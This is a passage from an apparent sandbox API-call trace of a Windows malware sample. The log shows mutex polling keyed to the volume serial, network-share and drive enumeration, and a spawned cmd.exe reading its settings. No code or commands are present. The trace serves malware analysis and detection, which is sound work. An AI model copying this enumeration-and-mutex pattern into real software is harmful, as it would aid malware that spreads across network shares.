(dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x174 [0073.152] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0073.152] CloseHandle (hObject=0x174) returned 1 [0073.152] GetProcessHeap () returned 0x6c0000 [0073.152] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0073.152] GetProcessHeap () returned 0x6c0000 [0073.152] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0073.153] Sleep (dwMilliseconds=0x3e8) [0075.247] GetProcessHeap () returned 0x6c0000 [0075.247] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f87b8 [0075.247] GetProcessHeap () returned 0x6c0000 [0075.247] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f88a8 [0075.247] GetProcessHeap () returned 0x6c0000 [0075.247] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f88f8 [0075.247] GetProcessHeap () returned 0x6c0000 [0075.247] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc360 [0075.247] GetProcessHeap () returned 0x6c0000 [0075.247] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc360 | out: hHeap=0x6c0000) returned 1 [0075.247] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f88a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0075.247] GetProcessHeap () returned 0x6c0000 [0075.247] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88f8 | out: hHeap=0x6c0000) returned 1 [0075.247] GetProcessHeap () returned 0x6c0000 [0075.247] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0075.247] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0075.248] GetProcessHeap () returned 0x6c0000 [0075.248] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0075.248] GetProcessHeap () returned 0x6c0000 [0075.248] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0075.248] GetProcessHeap () returned 0x6c0000 [0075.248] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0075.248] GetProcessHeap () returned 0x6c0000 [0075.248] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0075.248] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x174 [0075.248] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0075.248] CloseHandle (hObject=0x174) returned 1 [0075.248] GetProcessHeap () returned 0x6c0000 [0075.248] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0075.248] GetProcessHeap () returned 0x6c0000 [0075.248] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0075.248] Sleep (dwMilliseconds=0x3e8) Thread: id = 6 os_tid = 0xa94 [0046.175] GetProcessHeap () returned 0x6c0000 [0046.176] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x21a) returned 0x6e1228 [0046.176] GetProcessHeap () returned 0x6c0000 [0046.176] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x28) returned 0x6dab00 [0046.176] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xfc [0046.176] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x100 [0046.176] GetComputerNameW (in: lpBuffer=0x6e1238, nSize=0xfbfb30 | out: lpBuffer="XDUWTFONO", nSize=0xfbfb30) returned 1 [0046.176] GetProcessHeap () returned 0x6c0000 [0046.176] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x26) returned 0x6e1450 [0046.176] GetProcessHeap () returned 0x6c0000 [0046.176] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4000) returned 0x6e1480 [0046.176] GetProcessHeap () returned 0x6c0000 [0046.176] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x6e5488 [0046.177] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xfbfae8 | out: lphEnum=0xfbfae8*=0x6db428) returned 0x0 [0049.332] WNetEnumResourceW (in: hEnum=0x6db428, lpcCount=0xfbfae0, lpBuffer=0x6e1480, lpBufferSize=0xfbfaec | out: lpcCount=0xfbfae0, lpBuffer=0x6e1480, lpBufferSize=0xfbfaec) returned 0x103 [0049.333] WNetCloseEnum (hEnum=0x6db428) returned 0x0 [0049.333] GetProcessHeap () returned 0x6c0000 [0049.333] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e1480 | out: hHeap=0x6c0000) returned 1 [0049.333] GetProcessHeap () returned 0x6c0000 [0049.333] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e5488 | out: hHeap=0x6c0000) returned 1 [0049.333] GetProcessHeap () returned 0x6c0000 [0049.333] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4000) returned 0x6fc930 [0049.333] GetProcessHeap () returned 0x6c0000 [0049.333] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x6e1480 [0049.333] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xfbfad0 | out: lphEnum=0xfbfad0*=0x6dbdb8) returned 0x0 [0049.334] WNetEnumResourceW (in: hEnum=0x6dbdb8, lpcCount=0xfbfac8, lpBuffer=0x6fc930, lpBufferSize=0xfbfad4 | out: lpcCount=0xfbfac8, lpBuffer=0x6fc930, lpBufferSize=0xfbfad4) returned 0x103 [0049.334] WNetCloseEnum (hEnum=0x6dbdb8) returned 0x0 [0049.334] GetProcessHeap () returned 0x6c0000 [0049.334] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc930 | out: hHeap=0x6c0000) returned 1 [0049.334] GetProcessHeap () returned 0x6c0000 [0049.334] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e1480 | out: hHeap=0x6c0000) returned 1 [0049.334] GetProcessHeap () returned 0x6c0000 [0049.334] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4000) returned 0x6fc930 [0049.334] GetProcessHeap () returned 0x6c0000 [0049.334] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x6e1480 [0049.334] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xfbfab8 | out: lphEnum=0xfbfab8*=0x6db428) returned 0x0 [0073.097] WNetEnumResourceW (in: hEnum=0x6db428, lpcCount=0xfbfab0, lpBuffer=0x6fc930, lpBufferSize=0xfbfabc | out: lpcCount=0xfbfab0, lpBuffer=0x6fc930, lpBufferSize=0xfbfabc) returned 0x0 [0073.098] GetProcessHeap () returned 0x6c0000 [0073.098] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4000) returned 0x6f1488 [0073.098] GetProcessHeap () returned 0x6c0000 [0073.098] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x700938 [0073.099] WNetOpenEnumW (dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x6fc930, lphEnum=0xfbfa78) Thread: id = 7 os_tid = 0xa48 [0046.477] GetLogicalDrives () returned 0x4 [0046.477] GetProcessHeap () returned 0x6c0000 [0046.477] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d41f0 [0046.477] GetProcessHeap () returned 0x6c0000 [0046.477] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x28) returned 0x6da938 [0046.477] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x110 [0046.477] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x114 [0046.477] GetProcessHeap () returned 0x6c0000 [0046.477] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9fa8 [0046.477] GetProcessHeap () returned 0x6c0000 [0046.477] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9fd0 [0046.477] GetProcessHeap () returned 0x6c0000 [0046.477] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6d9ff8 [0046.477] GetProcessHeap () returned 0x6c0000 [0046.477] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6de890 [0046.477] GetProcessHeap () returned 0x6c0000 [0046.477] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6de890 | out: hHeap=0x6c0000) returned 1 [0046.477] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6d9fd0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.477] GetProcessHeap () returned 0x6c0000 [0046.477] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9ff8 | out: hHeap=0x6c0000) returned 1 [0046.477] GetProcessHeap () returned 0x6c0000 [0046.477] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9fa8 | out: hHeap=0x6c0000) returned 1 [0046.478] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x113fdcc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x113fdcc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.478] GetProcessHeap () returned 0x6c0000 [0046.478] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9fd0 | out: hHeap=0x6c0000) returned 1 [0046.478] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] CloseHandle (hObject=0x114) returned 1 [0046.478] CloseHandle (hObject=0x110) returned 1 [0046.478] GetProcessHeap () returned 0x6c0000 [0046.478] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da938 | out: hHeap=0x6c0000) returned 1 [0046.478] GetProcessHeap () returned 0x6c0000 [0046.478] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d41f0 | out: hHeap=0x6c0000) returned 1 [0046.478] GetProcessHeap () returned 0x6c0000 [0046.478] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da2c8 | out: hHeap=0x6c0000) returned 1 Thread: id = 8 os_tid = 0xa44 [0046.479] GetLogicalDrives () returned 0x4 [0046.479] GetProcessHeap () returned 0x6c0000 [0046.479] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9fd0 [0046.479] GetProcessHeap () returned 0x6c0000 [0046.479] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9fa8 [0046.479] GetProcessHeap () returned 0x6c0000 [0046.479] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6d9ff8 [0046.479] GetProcessHeap () returned 0x6c0000 [0046.479] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6de890 [0046.480] GetProcessHeap () returned 0x6c0000 [0046.480] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6de890 | out: hHeap=0x6c0000) returned 1 [0046.480] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6d9fa8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.480] GetProcessHeap () returned 0x6c0000 [0046.480] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9ff8 | out: hHeap=0x6c0000) returned 1 [0046.480] GetProcessHeap () returned 0x6c0000 [0046.480] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9fd0 | out: hHeap=0x6c0000) returned 1 [0046.480] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fd6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fd6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.480] GetProcessHeap () returned 0x6c0000 [0046.480] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9fa8 | out: hHeap=0x6c0000) returned 1 [0046.480] GetProcessHeap () returned 0x6c0000 [0046.480] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d41f0 [0046.480] GetProcessHeap () returned 0x6c0000 [0046.480] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x28) returned 0x6da2c8 [0046.480] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x110 [0046.480] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x114 [0046.480] CloseHandle (hObject=0x114) returned 1 [0046.480] CloseHandle (hObject=0x110) returned 1 [0046.481] GetProcessHeap () returned 0x6c0000 [0046.481] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da2c8 | out: hHeap=0x6c0000) returned 1 [0046.481] GetProcessHeap () returned 0x6c0000 [0046.481] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d41f0 | out: hHeap=0x6c0000) returned 1 [0046.481] GetProcessHeap () returned 0x6c0000 [0046.481] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da308 | out: hHeap=0x6c0000) returned 1 Thread: id = 9 os_tid = 0x3a4 Thread: id = 10 os_tid = 0xa1c Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x45b30000" os_pid = "0x15c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xbb0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x5d4 [0055.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2ef950 | out: lpSystemTimeAsFileTime=0x2ef950*(dwLowDateTime=0x7dc3f80, dwHighDateTime=0x1d696fc)) [0055.837] GetCurrentProcessId () returned 0x15c [0055.837] GetCurrentThreadId () returned 0x5d4 [0055.837] GetTickCount () returned 0x1148595 [0055.837] QueryPerformanceCounter (in: lpPerformanceCount=0x2ef958 | out: lpPerformanceCount=0x2ef958*=17481741527) returned 1 [0055.839] GetModuleHandleW (lpModuleName=0x0) returned 0x4a340000 [0055.839] __set_app_type (_Type=0x1) [0055.839] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a367810) returned 0x0 [0055.839] __getmainargs (in: _Argc=0x4a38a608, _Argv=0x4a38a618, _Env=0x4a38a610, _DoWildCard=0, _StartInfo=0x4a36e0f4 | out: _Argc=0x4a38a608, _Argv=0x4a38a618, _Env=0x4a38a610) returned 0 [0055.840] GetCurrentThreadId () returned 0x5d4 [0055.840] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5d4) returned 0x3c [0055.840] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0055.840] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0055.840] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0055.841] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.841] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ef8e8 | out: phkResult=0x2ef8e8*=0x0) returned 0x2 [0055.841] VirtualQuery (in: lpAddress=0x2ef8d0, lpBuffer=0x2ef850, dwLength=0x30 | out: lpBuffer=0x2ef850*(BaseAddress=0x2ef000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.841] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x2ef850, dwLength=0x30 | out: lpBuffer=0x2ef850*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.841] VirtualQuery (in: lpAddress=0x1f1000, lpBuffer=0x2ef850, dwLength=0x30 | out: lpBuffer=0x2ef850*(BaseAddress=0x1f1000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.841] VirtualQuery (in: lpAddress=0x1f4000, lpBuffer=0x2ef850, dwLength=0x30 | out: lpBuffer=0x2ef850*(BaseAddress=0x1f4000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.841] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x2ef850, dwLength=0x30 | out: lpBuffer=0x2ef850*(BaseAddress=0x2f0000, AllocationBase=0x2f0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0055.841] GetConsoleOutputCP () returned 0x1b5 [0055.841] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a37bfe0 | out: lpCPInfo=0x4a37bfe0) returned 1 [0055.841] SetConsoleCtrlHandler (HandlerRoutine=0x4a363184, Add=1) returned 1 [0055.841] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.841] SetConsoleMode (hConsoleHandle=0x114, dwMode=0x0) returned 0 [0055.842] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.842] GetConsoleMode (in: hConsoleHandle=0x114, lpMode=0x4a36e194 | out: lpMode=0x4a36e194) returned 0 [0055.842] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.842] GetConsoleMode (in: hConsoleHandle=0x108, lpMode=0x4a36e198 | out: lpMode=0x4a36e198) returned 0 [0055.842] GetEnvironmentStringsW () returned 0x4d8a60* [0055.842] GetProcessHeap () returned 0x4c0000 [0055.842] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xa7c) returned 0x4d94f0 [0055.842] FreeEnvironmentStringsW (penv=0x4d8a60) returned 1 [0055.842] GetProcessHeap () returned 0x4c0000 [0055.842] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x8) returned 0x4d88e0 [0055.842] GetEnvironmentStringsW () returned 0x4d8a60* [0055.842] GetProcessHeap () returned 0x4c0000 [0055.842] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xa7c) returned 0x4d9f80 [0055.842] FreeEnvironmentStringsW (penv=0x4d8a60) returned 1 [0055.843] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x44) returned 0x0 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x0, lpData=0x2ee7c0*=0x18, lpcbData=0x2ee7a4*=0x1000) returned 0x2 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x4, lpData=0x2ee7c0*=0x1, lpcbData=0x2ee7a4*=0x4) returned 0x0 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x0, lpData=0x2ee7c0*=0x1, lpcbData=0x2ee7a4*=0x1000) returned 0x2 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x4, lpData=0x2ee7c0*=0x0, lpcbData=0x2ee7a4*=0x4) returned 0x0 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x4, lpData=0x2ee7c0*=0x40, lpcbData=0x2ee7a4*=0x4) returned 0x0 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x4, lpData=0x2ee7c0*=0x40, lpcbData=0x2ee7a4*=0x4) returned 0x0 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x0, lpData=0x2ee7c0*=0x40, lpcbData=0x2ee7a4*=0x1000) returned 0x2 [0055.843] RegCloseKey (hKey=0x44) returned 0x0 [0055.843] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x44) returned 0x0 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x0, lpData=0x2ee7c0*=0x40, lpcbData=0x2ee7a4*=0x1000) returned 0x2 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x4, lpData=0x2ee7c0*=0x1, lpcbData=0x2ee7a4*=0x4) returned 0x0 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x0, lpData=0x2ee7c0*=0x1, lpcbData=0x2ee7a4*=0x1000) returned 0x2 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x4, lpData=0x2ee7c0*=0x0, lpcbData=0x2ee7a4*=0x4) returned 0x0 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x4, lpData=0x2ee7c0*=0x9, lpcbData=0x2ee7a4*=0x4) returned 0x0 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x4, lpData=0x2ee7c0*=0x9, lpcbData=0x2ee7a4*=0x4) returned 0x0 [0055.843] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee7a0, lpData=0x2ee7c0, lpcbData=0x2ee7a4*=0x1000 | out: lpType=0x2ee7a0*=0x0, lpData=0x2ee7c0*=0x9, lpcbData=0x2ee7a4*=0x1000) returned 0x2 [0055.843] RegCloseKey (hKey=0x44) returned 0x0 [0055.843] time (in: timer=0x0 | out: timer=0x0) returned 0x5f7434da [0055.843] srand (_Seed=0x5f7434da) [0055.844] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0055.844] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0055.844] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a37c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0055.844] GetProcessHeap () returned 0x4c0000 [0055.844] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x218) returned 0x4daa10 [0055.844] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4daa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0055.844] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0055.844] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0055.844] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0055.844] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0055.844] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0055.844] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0055.844] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0055.844] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0055.844] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0055.844] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0055.844] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0055.844] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0055.845] GetProcessHeap () returned 0x4c0000 [0055.845] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d94f0 | out: hHeap=0x4c0000) returned 1 [0055.845] GetEnvironmentStringsW () returned 0x4d8a60* [0055.845] GetProcessHeap () returned 0x4c0000 [0055.845] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xa94) returned 0x4dac30 [0055.845] FreeEnvironmentStringsW (penv=0x4d8a60) returned 1 [0055.845] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0055.845] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0055.845] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0055.845] 